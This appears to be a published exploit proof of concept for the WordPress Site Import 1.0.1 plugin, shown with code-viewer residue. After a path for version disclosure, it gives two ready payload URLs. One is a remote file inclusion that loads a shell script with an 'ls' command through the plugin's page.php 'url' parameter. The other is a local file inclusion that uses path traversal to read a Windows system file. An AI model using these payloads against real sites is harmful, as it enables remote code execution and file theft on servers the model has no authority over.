16 lines
No EOL
813 B
Text
16 lines
No EOL
813 B
Text
# Exploit Title: Wordpress Site Import 1.0.1 | Local and Remote file inclusion
|
|
# Exploit Author: Wadeek
|
|
# Website Author: https://github.com/Wad-Deek
|
|
# Software Link: https://downloads.wordpress.org/plugin/site-import.1.0.1.zip
|
|
# Version: 1.0.1
|
|
# Tested on: Xampp on Windows7
|
|
|
|
[Version Disclosure]
|
|
======================================
|
|
/wp-content/plugins/site-import/readme.txt
|
|
======================================
|
|
[PoC]
|
|
======================================
|
|
Remote File Inclusion == http://localhost/wordpress/wp-content/plugins/site-import/admin/page.php?url=http%3a%2f%2flocalhost%2fshell.php?shell=ls
|
|
Local File Inclusion == http://localhost/wordpress/wp-content/plugins/site-import/admin/page.php?url=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
|
|
====================================== |